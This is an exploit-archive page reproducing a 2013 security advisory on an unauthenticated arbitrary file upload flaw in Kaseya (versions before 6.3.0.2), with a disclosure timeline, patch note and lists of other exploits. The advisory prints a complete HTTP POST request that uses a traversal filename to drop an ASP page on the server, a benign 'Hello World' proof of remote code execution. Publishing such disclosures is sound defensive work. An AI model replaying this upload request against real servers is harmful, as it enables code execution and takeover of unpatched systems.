Menu

Search for hundreds of thousands of exploits

"Kaseya < 6.3.0.2 - Arbitrary File Upload"

Author

Exploit author

Security-Assessment.com

Platform

Exploit platform

asp

Release date

Exploit published date

2013-11-18

Download file

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
(    , )     (, 
  .   `.' ) ('.    ', 
   ). , ('.   ( ) ( 
  (_,) .`), ) _ _, 
 /  _____/  / _  \    ____  ____   _____ 
 \____  \==/ /_\  \ _/ ___\/  _ \ /     \ 
 /       \/   |    \\  \__(  <_> )  Y Y  \ 
/______  /\___|__  / \___  >____/|__|_|  / 
        \/         \/.-.    \/         \/:wq 
                    (x.0) 
                  '=.|w|.=' 
                  _='`"``=. 

                presents.. 

Kaseya Arbitrary File Upload Vulnerability
Affected versions: < 6.3.0.2

PDF: http://security-assessment.com/files/documents/advisory/Kaseya%20File%20Upload.pdf


+-----------+ 
|Description| 
+-----------+ 

Kaseya 6.3 suffers from an Arbitrary File Upload vulnerability that can be leveraged to gain remote code 
execution on the Kaseya server. The code executed in this way will run with a local IUSR account’s privileges. 
The vulnerability lies within the /SystemTab/UploadImage.asp file. This file constructs a file object on disk using 
user input, without first checking if the user is authenticated or if input is valid. The application preserves the 
file name and extension of the upload, and allows an attacker to traverse from the default destination directory. 
Directory traversal is not necessary to gain code execution however, as the default path lies within the 
application’s web-root. 


+------------+ 
|Exploitation| 
+------------+ 

POST /SystemTab/uploadImage.asp?filename=..\..\..\..\test.asp HTTP/1.1 
Host: <host> 
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0 
FirePHP/0.7.2 
Referer: http://<host>/SystemTab/uploadImage.asp 
Cookie: ASPSESSIONIDQATSBAQC=<valid session>; 
Connection: keep-alive 
Content-Type: multipart/form-data; boundary=---------------------------
19172947220212 
Content-Length: 89 
 
-----------------------------19172947220212 
Content-Disposition: form-data; name="uploadFile"; filename="test.asp" 
Content-Type: application/octet-stream 
 
<!DOCTYPE html> 
<html> 
<body> 
<% 
response.write("Hello World!") 
%> 
</body> 
</html> 
 
-----------------------------19172947220212--

+-----+ 
| Fix | 
+-----+ 

Install the patch released by the vendor on the 12th of November 2013.

+-------------------+ 
|Disclosure Timeline| 
+-------------------+ 

9/10/2013 Bug discovered, vendor contacted 
20/10/2013 Vendor responds with email address for security contact. Advisory sent to security contact. 
30/10/2013 Vendor advises that patch for the reported issue is to be included in next patch cycle. 
12/11/2013 Patch released. 
18/11/2013 Advisory publically released. 

+-----------------------------+ 
|About Security-Assessment.com| 
+-----------------------------+ 

Security-Assessment.com is a New Zealand based world 
leader in web application testing, network security 
and penetration testing. Security-Assessment.com 
services organisations across New Zealand, Australia, 
Asia Pacific, the United States and the United 
Kingdom. 

Security-Assessment.com is currently looking for skilled penetration 
testers. If you are interested, please email 'hr at security-assessment.com'

Thomas Hibbert
Security Consultant 
Security-Assessment.com
Mobile: +64 27 3133777 
Email: thomas.hibbert () security-assessment com 
Web: www.security-assessment.com
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-07-10 "HelloWeb 2.0 - Arbitrary File Download" webapps asp bRpsd
2020-03-16 "Enhanced Multimedia Router 3.0.4.27 - Cross-Site Request Forgery (Add Admin)" webapps asp "Miguel Mendez Z"
2020-01-24 "OLK Web Store 2020 - Cross-Site Request Forgery" webapps asp "Joel Aviad Ossi"
2019-12-18 "Rumpus FTP Web File Manager 8.2.9.1 - Reflected Cross-Site Scripting" webapps asp "Harshit Shukla"
2019-11-18 "Crystal Live HTTP Server 6.01 - Directory Traversal" webapps asp "numan türle"
2019-08-16 "Web Wiz Forums 12.01 - 'PF' SQL Injection" webapps asp n1x_
2019-05-06 "microASP (Portal+) CMS - 'pagina.phtml?explode_tree' SQL Injection" webapps asp "felipe andrian"
2019-02-12 "Skyworth GPON HomeGateways and Optical Network Terminals - Stack Overflow" dos asp "Kaustubh G. Padwad"
2018-11-05 "Advantech WebAccess SCADA 8.3.2 - Remote Code Execution" webapps asp "Chris Lyne"
2018-05-29 "IssueTrak 7.0 - SQL Injection" webapps asp "Chris Anastasio"
Release Date Title Type Platform Author
2016-12-09 "Splunk Enterprise 6.4.3 - Server-Side Request Forgery" webapps multiple Security-Assessment.com
2016-11-21 "Microsoft Edge Scripting Engine - Memory Corruption (MS16-129)" dos windows Security-Assessment.com
2016-08-16 "Nagios Incident Manager 2.0.0 - Multiple Vulnerabilities" webapps php Security-Assessment.com
2016-08-16 "Nagios Log Server 1.4.1 - Multiple Vulnerabilities" webapps php Security-Assessment.com
2016-08-16 "Nagios Network Analyzer 2.2.0 - Multiple Vulnerabilities" webapps php Security-Assessment.com
2016-06-27 "Riverbed SteelCentral NetProfiler & NetExpress 10.8.7 - Multiple Vulnerabilities" webapps php Security-Assessment.com
2016-06-27 "Panda Security (Multiple Products) - Local Privilege Escalation" local windows Security-Assessment.com
2016-06-06 "Nagios XI 5.2.7 - Multiple Vulnerabilities" webapps php Security-Assessment.com
2016-05-10 "Nfdump Nfcapd 1.6.14 - Multiple Vulnerabilities" dos linux Security-Assessment.com
2016-04-18 "pfSense Community Edition 2.2.6 - Multiple Vulnerabilities" webapps php Security-Assessment.com
2016-03-15 "Kaltura Community Edition < 11.1.0-2 - Multiple Vulnerabilities" webapps php Security-Assessment.com
2016-02-22 "BlackBerry Enterprise Service < 12.4 (BES12) Self-Service - Multiple Vulnerabilities" webapps java Security-Assessment.com
2015-09-15 "Silver Peak VXOA < 6.2.11 - Multiple Vulnerabilities" webapps php Security-Assessment.com
2015-06-30 "WedgeOS 4.0.4 - Multiple Vulnerabilities" webapps jsp Security-Assessment.com
2015-06-30 "Watchguard XCS 10.0 - Multiple Vulnerabilities" webapps php Security-Assessment.com
2015-05-01 "TestDisk 6.14 - 'Check_OS2MB' Stack Buffer Overflow (PoC)" dos multiple Security-Assessment.com
2014-08-29 "F5 Big-IP - rsync Access" remote hardware Security-Assessment.com
2013-11-18 "Kaseya < 6.3.0.2 - Arbitrary File Upload" webapps asp Security-Assessment.com
2013-11-18 "ManageEngine Desktop Central 8.0.0 build < 80293 - Arbitrary File Upload" webapps jsp Security-Assessment.com
2007-07-10 "TippingPoint IPS - Unicode Character Detection Bypass" remote windows Security-Assessment.com 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected